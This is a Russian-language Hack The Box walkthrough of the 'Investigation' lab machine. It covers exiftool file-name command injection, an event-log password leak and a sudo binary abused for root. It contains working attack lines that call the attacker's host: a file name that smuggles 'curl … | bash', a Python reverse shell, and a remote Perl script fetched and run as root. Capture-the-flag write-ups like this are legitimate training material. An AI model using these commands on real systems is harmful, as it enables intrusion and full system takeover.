Хакер - HTB Investigation. Ищем секреты в журнале безопасности Windows
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как эксплуатировать RCE в популярной программе exiftool, затем мы получим журнал безопасности Windows и проанализируем логи. При повышении привилегий разреверсим простенький ELF-файл.
Захватывать мы будем тренировочную машину Investigation с площадки Hack The Box. Ее уровень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.197 investigation.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

По результатам сканирования имеем всего три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Apache 2.4.41;
- 1234 — веб‑сервер Python 3.8.10.
На SSH идти нет смысла, порт 1234, видимо, был открыт другим игроком, чтобы скачивать с сервера файлы, поэтому остается идти только на веб‑сервер на 80-м порте. А там, как отражено в http-title, выполняется редирект на http://eforenzics.htb. Добавляем этот домен в /etc/hosts и смотрим сайт.
10.10.11.197 investigation.htb eforenzics.htb

ТОЧКА ВХОДА
На сайте находим сервис для анализа изображения и форму для загрузки анализируемого файла.

При попытке загрузить какой‑нибудь отличный от изображений формат получаем ошибку, то есть сразу загрузить PHP-шелл не выйдет. Тогда загружаем картинку в PNG и получаем ссылку на готовый отчет.

Отчет представляет собой обычный вывод программы exiftool.

Однако мы узнали версию программы — 12.37. Это уже неплохая зацепка.
ТОЧКА ОПОРЫ
Первым делом стоит проверить, есть ли для обнаруженной версии exiftool готовые эксплоиты. Можно поискать на HackerOne, exploit-db, GitHub и, конечно, в Google.

В результате я нашел репозиторий проекта, откуда узнал, что эта версия уязвима перед инъекцией команды через имя файла. Таким образом, если имя переданного в exiftool файла заканчивается вертикальной чертой | и этот файл присутствует в файловой системе, то символ | будет рассматриваться как пайп и команда, указанная до этого пайпа, будет выполнена в командной оболочке.
Переименуем наше изображение, чтобы его новое имя состояло из команды для выполнения и завершающего его пайпа.
cp 01.png 'curl 10.10.14.78 | bash |'
Таким образом, если загрузить «новый» файл, то файл index.html будет запрошен с нашего сервера и выполнится в Bash. На своем хосте запустим простой веб‑сервер python3 -m http.server 80 и создадим файл index.htm, который будет содержать реверс‑шелл на Python.
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.78",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'
Теперь открываем листенер:
pwncat-cs -lp 4321
И отправляем файл на анализ. В листенере обнаружим новую сессию.

ПРОДВИЖЕНИЕ
Чтобы найти путь для повышения привилегий на хосте, нам нужно собрать информацию о системе. Я, как обычно, использовал скрипт PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе скрипта есть несколько интересных моментов.
В cron видим задачу для сбора логов в файл по такому пути:
/usr/local/investigation/analysed_log

Пользователи группы www-data имеют право записи вот в этот файл:
/usr/local/investigation/analysed_log

В файле sudoers есть запись, которая разрешает пользователю smorton выполнить команду /usr/bin/binary от имени пользователя root.

Обрати внимание на обнаруженный файл и его родительский каталог.

В каталоге находим файл .msg — это формат Microsoft Outlook Message. Используемый нами pwncat-cs позволяет очень легко скачать этот файл для анализа на своем компьютере.

Файл Microsoft Outlook Message можно просмотреть с помощью одного из онлайновых сервисов, например encryptomatic.com. Это намного удобнее, чем конвертировать письмо в другой формат.

К письму прикреплено два файла, один из которых — журнал событий безопасности Windows.

Для просмотра логов будем использовать утилиту python-evtx.
python3 evtx_dump.py security.evtx

Первым делом смотрим события с идентификатором 4625 (ошибка авторизации). В одном из событий в поле TargetUserName видим какой‑то пароль по умолчанию. Можно предположить, что он был по ошибке введен в поле с именем пользователя.
python3 evtx_dump.py security.evtx | grep -A 30 '4625</EventID>'

У нас есть пароль, пробуем использовать его для входа в систему от имени разных пользователей и служб. Список пользователей берем из файла /etc/passwd.

Получается авторизоваться по SSH как пользователь smorton.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь мы получили контекст пользователя smorton и можем вернуться к исполняемому файлу /usr/bin/binary.

Скачиваем его на локальный хост:
scp smorton@investigation.htb:/usr/bin/binary binary
И открываем в любом удобном декомпиляторе (я использую IDA с Hex Rays).

Первым делом программа проверяет количество аргументов (строка 10), их должно быть два. Затем происходит проверка контекста работы (строка 15) — если запуск был не в привилегированном контексте, программа завершает свое выполнение. В строке 20 проверяется второй аргумент, он должен быть равен указанной строке. Если все проверки пройдены, программа выполнит запрос на указанный в первом аргументе URL (строки 27–36) и затем полученные данные передаст как аргумент команде perl (строки 37–45).
Создадим на своем сервере файл, содержащий шелл на Perl, чтобы после прохождения всех проверок получить командную оболочку в привилегированном контексте.
exec "/bin/bash";
Теперь выполняем программу и получаем сессию от имени пользователя root.
sudo /usr/bin/binary http://10.10.14.78/rshell.pl lDnxUysaQn

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei